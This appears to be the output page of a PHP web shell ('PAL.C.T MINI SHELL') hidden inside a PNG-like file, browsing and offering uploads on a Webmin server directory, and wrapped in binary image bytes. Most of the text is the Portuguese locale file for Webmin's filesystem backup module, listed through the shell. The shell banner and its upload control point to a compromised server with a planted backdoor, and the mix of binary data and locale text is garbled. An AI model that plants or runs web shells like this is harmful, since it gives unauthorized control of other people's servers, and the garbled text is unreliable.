‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/fsdump/lang/
upload
files >> //usr/libexec/webmin/fsdump/lang/pt.auto

index_title=Backup do sistema de arquivos
index_add=Adicione um novo backup do diretório:
index_none=Nenhuma configuração de backup do sistema de arquivos foi criada ainda.
index_none2=Não há configurações de backup do sistema de arquivos às quais você tem acesso.
index_restore=Restaure o backup do tipo de sistema de arquivos:
index_restoremsg=Selecione o tipo de sistema de arquivos e clique neste botão para iniciar o processo de seleção de um backup do sistema de arquivos para restaurar.
index_restore2=Restaurar backup do sistema de arquivos
index_restoremsg2=Clique neste botão para iniciar o processo de seleção de um backup do sistema de arquivos para restaurar.
index_ecommands=Nenhum dos comandos de backup do sistema de arquivos (como $1) necessários por este módulo foram encontrados no seu sistema. Talvez eles não estejam instalados no momento.
index_return=lista de backups
index_running=Executando tarefas de backup
index_jobs=Backups agendados
index_start=Começou às
index_status=Status atual
index_status_running=Corrida
index_status_tape=À espera de fita
index_action=Açao
index_kill=Terminar
index_newtape=Fita carregada
index_noact=Não disponível
index_now=Cópia de segurança ..
index_follow=Após $1 
index_forcetar=No formato TAR
index_delete=Excluir backups selecionados
index_nostrftime=Aviso - algumas tarefas de backup usam % em seus nomes de arquivo, mas a substituição do strftime não está ativada na página Configuração do módulo.

dump_dir=Diretório para backup
dump_dirs=Diretórios para backup
dump_fs=Sistema de arquivo
dump_sched=Programado?
dump_when=Às vezes
dump_dest=Backup para
dump_file=Dispositivo de arquivo ou fita
dump_host=Hospede $1 como usuário $2 no arquivo ou dispositivo $3 
dump_level=Nível de despejo
dump_level_0=0 (backup completo)
dump_label=Etiqueta de backup
dump_multi=Dividir em vários arquivos?
dump_update=Atualizar o arquivo <tt>/etc/dumpdates</tt>?
dump_exclude=Arquivos e diretórios a serem ignorados
dump_edir=Diretório ausente ou inválido para backup
dump_efile=Arquivo ou dispositivo ausente para o backup
dump_ehost=Host ausente ou inválido para backup
dump_ehuser=Nome de usuário inválido no host para o backup
dump_ehuser2=O nome de usuário não pode conter o caractere @
dump_ehfile=Arquivo ou dispositivo ausente ou inválido no host para o backup
dump_elabel=Etiqueta de backup inválida (pode ter no máximo 15 caracteres)
dump_elabel2=Etiqueta de backup inválida (pode ter no máximo 255 caracteres)
dump_eblocks=Tamanho de fita ausente ou inválido
dump_ebsize=Tamanho do bloco de registro de despejo ausente ou inválido
dump_max=Tamanho máximo do arquivo a incluir
dump_unlimited=Ilimitado
dump_attribs=Incluir atributos de arquivo?
dump_over=Pergunte antes de substituir a fita?
dump_overwrite=Sempre substituir o backup?
dump_invent=Gravar backup no inventário?
dump_emax=Tamanho máximo de arquivo ausente ou inválido
dump_emp=O diretório para backup deve ser um ponto de montagem do sistema de arquivos
dump_erase=Excluir arquivo / apagar fita antes do backup?
dump_verify=Verificar dados após o backup?
dump_offline=Ejetar fita após o backup?
dump_blocks=Tamanho da fita
dump_bsize=Tamanho do bloco de registro de despejo
dump_auto=Exercite-se automaticamente
dump_honour=Sempre excluir arquivos marcados?
dump_comp=Compactar dados?
dump_complvl=Sim, com nível
dump_ecomp=Nível de compactação ausente ou inválido
dump_before=Comando a ser executado antes do backup
dump_after=Comando para executar após o backup
dump_fok=Parar se o comando falhar
dump_fok2=Relatar falha se o comando falhar
dump_aok=Comando Ignorar mesmo se o backup falhar
dump_extra=Parâmetros extras da linha de comando
dump_rsh=Comando de backup remoto
dump_rsh0=Padrão (RSH)
dump_rsh1=SSH
dump_rsh3=FTP
dump_rsh2=Outro comando ..
dump_pass=Senha para login SSH
dump_pass2=Senha para login SSH/FTP
dump_ersh=Comando de backup remoto ausente ou inválido
dump_essh=O SSH não pode ser usado para backups remotos, a menos que o comando <tt>ssh</tt> esteja instalado no seu sistema
dump_ecannot1=Você não tem permissão para criar backups
dump_ecannot2=Você não tem permissão para editar este backup
dump_ecannot3=Você não tem permissão para fazer backup deste diretório
dump_format=Formato de backup
dump_tar=TAR do Unix
dump_dumpfs=$1 dump do sistema de arquivos
dump_gzip=Compactar arquivo?
dump_gzip1=Sim, com gzip
dump_gzip2=Sim, com bzip2
dump_gzip3=Sim, com XZ
dump_bcomp=Buffer de dados compactados em blocos?
dump_xdev=Limitar o backup a um sistema de arquivos?
dump_update2=Basta adicionar novos arquivos para arquivar?
dump_ignoreread=Ignorar erros de leitura nos arquivos?
dump_notape=Solicitar nova fita, se necessário?
dump_rmt=Caminho para <tt>rmt</tt> no sistema remoto
dump_links=Seguir links simbólicos?
dump_egzip=A opção de compactação gzip é incompatível com a opção de tamanho da fita
dump_egzip2=A opção de compactação gzip é incompatível com a opção de backup com vários arquivos
dump_egzip3=A opção de compactação gzip é incompatível com a opção de adicionar apenas novos arquivos ao arquivo
dump_emulti=Os backups de vários arquivos não podem ser feitos em um dispositivo de fita
dump_emulti2=Os backups de vários arquivos não podem ser feitos em um servidor remoto
dump_ermt=Caminho ausente ou inválido para o programa <tt>rmt</tt>
dump_reverify=Tente testar a restauração após o backup para verificar?
dump_remount=Remontar com a opção <tt>noatime</tt> durante o backup?
dump_eftpupdate=Não é possível adicionar arquivos a um arquivo existente ao usar o FTP.
dump_eleveldir=Somente backups de nível 0 são permitidos para diretórios que não são pontos de montagem do sistema de arquivos
dump_eupdatedir=O arquivo <tt>/etc/dumpdates</tt> pode ser atualizado apenas para diretórios que são pontos de montagem do sistema de arquivos

edit_err=Falha ao criar backup
edit_edir=Diretório de backup ausente
edit_efs=Não é possível fazer backup de sistemas de arquivos do tipo $1 por este módulo
edit_title=Adicionar novo backup
edit_title2=Editar backup
edit_title3=Backup de clone
edit_header=Detalhes de backup do sistema de arquivos $1 
edit_header2=Agenda de backup
edit_header3=Opções de backup
edit_enabled=Backup agendado ativado?
edit_enabled_no=Desativado
edit_enabled_yes=Ativado, nos horários escolhidos abaixo.
edit_enabled_af=Ativado após:
edit_savenow=Salvar e fazer backup agora
edit_createnow=Crie e faça backup agora
edit_return=cópia de segurança
edit_email=Enviar a saída agendada por e-mail para
edit_subject=Assunto da mensagem de email
edit_restore=Restaurar ..
edit_to=$1 a $2 
edit_tolevel=$1 a $2 (nível $3)
edit_special=Agenda de backup
edit_when=Quando fazer backup
edit_clone=Clone

save_err=Falha ao salvar o backup
save_edir=Diretório de backup ausente ou inválido
save_efs=O diretório de backup não pode mudar para um sistema de arquivos diferente

backup_title=Faça backup agora
backup_desc=Executando backup de $1 a $2 ..
backup_reverify=.. completo. Agora verificando o backup ..
backup_beforefailed=.. antes do comando de backup falhar!
backup_afterfailed=.. após o comando backup falhar!
backup_done=.. backup completo.
backup_failed=.. backup falhou!
backup_noverify=.. falha na verificação!
backup_notape=.. o backup excedeu a capacidade de uma única fita. A troca de fita é suportada apenas quando os backups são executados como processos em segundo plano.
backup_egone=O backup não existe!
backup_bg=Iniciando o processo de backup em segundo plano. Você pode monitorar seu progresso na seção <b>Executando trabalhos de backup</b> na página principal do módulo e será notificado sobre seu status final por email.
backup_ecannot=Você não tem permissão para fazer backup deste diretório

restore_title=Restaurar backup
restore_err=Falha ao restaurar o backup
restore_ecommand=O comando $1 necessário para restaurar $2 backups do sistema de arquivos não foi encontrado no seu sistema. Talvez não esteja instalado no momento.
restore_theader=Restaurar backup do arquivo TAR do Unix
restore_header=Restaurar backup do sistema de arquivos $1 
restore_src=Restaurar do arquivo ou dispositivo
restore_dir=Restaurar para o diretório
restore_ok=Restaurar backup agora
restore_over=Sobrescrever arquivos existentes?
restore_over0=Sempre
restore_over1=A menos que seja mais recente que o backup
restore_over2=Nunca
restore_noattribs=Restaurar atributos de arquivo?
restore_label=Restaurar somente backup com etiqueta
restore_files=Arquivos para restaurar
restore_all=Tudo em backup
restore_sel=Arquivos listados ..
restore_multi=O backup é dividido em vários arquivos?
restore_efile=Arquivo ou dispositivo ausente para restaurar a partir de
restore_ehost=Host ausente ou inválido para restaurar de
restore_ehuser=Nome de usuário inválido no host para restaurar de
restore_ehfile=Arquivo ou dispositivo ausente ou inválido no host para restaurar a partir de
restore_now=Restaurando backup com o comando $1 ..
restore_desc=Esta página permite restaurar um backup anterior do sistema de arquivos. Tenha cuidado ao restaurar, pois os arquivos modificados, pois o backup pode ser substituído!
restore_efiles=Arquivos ausentes para restaurar
restore_evolume=As restaurações de vários volumes não são suportadas.
restore_equestion=Pergunta desconhecida da restauração : $1 
restore_edir=Diretório ausente ou inválido para restaurar
restore_failed=Falha na restauração : $1 
restore_failed2=Falha na restauração! Veja a saída acima.
restore_complete=Restauração concluída com sucesso.
restore_test=Mostrar apenas arquivos no backup?
restore_nothing=Apenas teste o backup?
restore_extra=Opções extras de linha de comando
restore_rsh=Comando de restauração remota
restore_ersh=Comando de restauração remota ausente ou inválido
restore_essh=O SSH não pode ser usado para restaurações remotas, a menos que o comando <tt>ssh</tt> esteja instalado no seu sistema
restore_ecannot=Você não tem permissão para restaurar backups
restore_perms=Restaurar permissões de arquivo?
restore_gzip=Descompactar arquivo?
restore_keep=Não sobrescreva arquivos?
restore_emulti=As restaurações de vários arquivos não podem ser feitas a partir de um dispositivo de fita
restore_emulti2=As restaurações de vários arquivos não podem ser feitas em um servidor remoto

log_create=Configuração de backup criada para $1 
log_modify=Configuração de backup modificada para $1 
log_delete=Configuração de backup excluída para $1 
log_backup=Backup de $1 a $2 
log_bgbackup=Backup iniciado de $1 a $2 
log_restore=Backup restaurado de $1 
log_kill=Backup finalizado para $1 

kill_err=Falha ao finalizar o backup
kill_egone=Não está mais em execução!
kill_ecannot=Você não tem permissão para terminar este backup

newtape_err=Falha ao sinalizar nova fita
newtape_egone=O backup não está mais em execução!
newtape_estatus=O backup não está mais aguardando uma nova fita
newtape_ecannot=Você não tem permissão para gerenciar este backup

acl_edit=Pode criar e editar backups?
acl_restore=Pode restaurar backups?
acl_cmds=Pode editar comandos antes e depois?
acl_extra=Pode editar parâmetros extras da linha de comando?
acl_dirs=Diretórios permitidos para backups
acl_all=Todos os diretórios
acl_list=Apenas listado ..

delete_err=Falha ao excluir backups
delete_enone=Nenhum selecionado

email_already=O backup já está sendo executado com o PID $1.
email_ebefore=O comando antes do backup falhou!
email_verify=Verificando o backup ..
email_eafter=O comando pós-backup falhou!
email_subject=Backup de $1 em $2 
email_ok=Backup bem-sucedido
email_failed=Falha no backup!

newtape_subject=Alteração de fita $1 para backup de $2 em $3 
newtape_body=O backup de $2 em $3 atingiu a quantidade máxima de dados permitida na fita $1. Você precisará carregar uma nova fita e clicar no link 'Tape Loaded' no módulo de backup do sistema de arquivos do Webmin para que o backup continue.
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚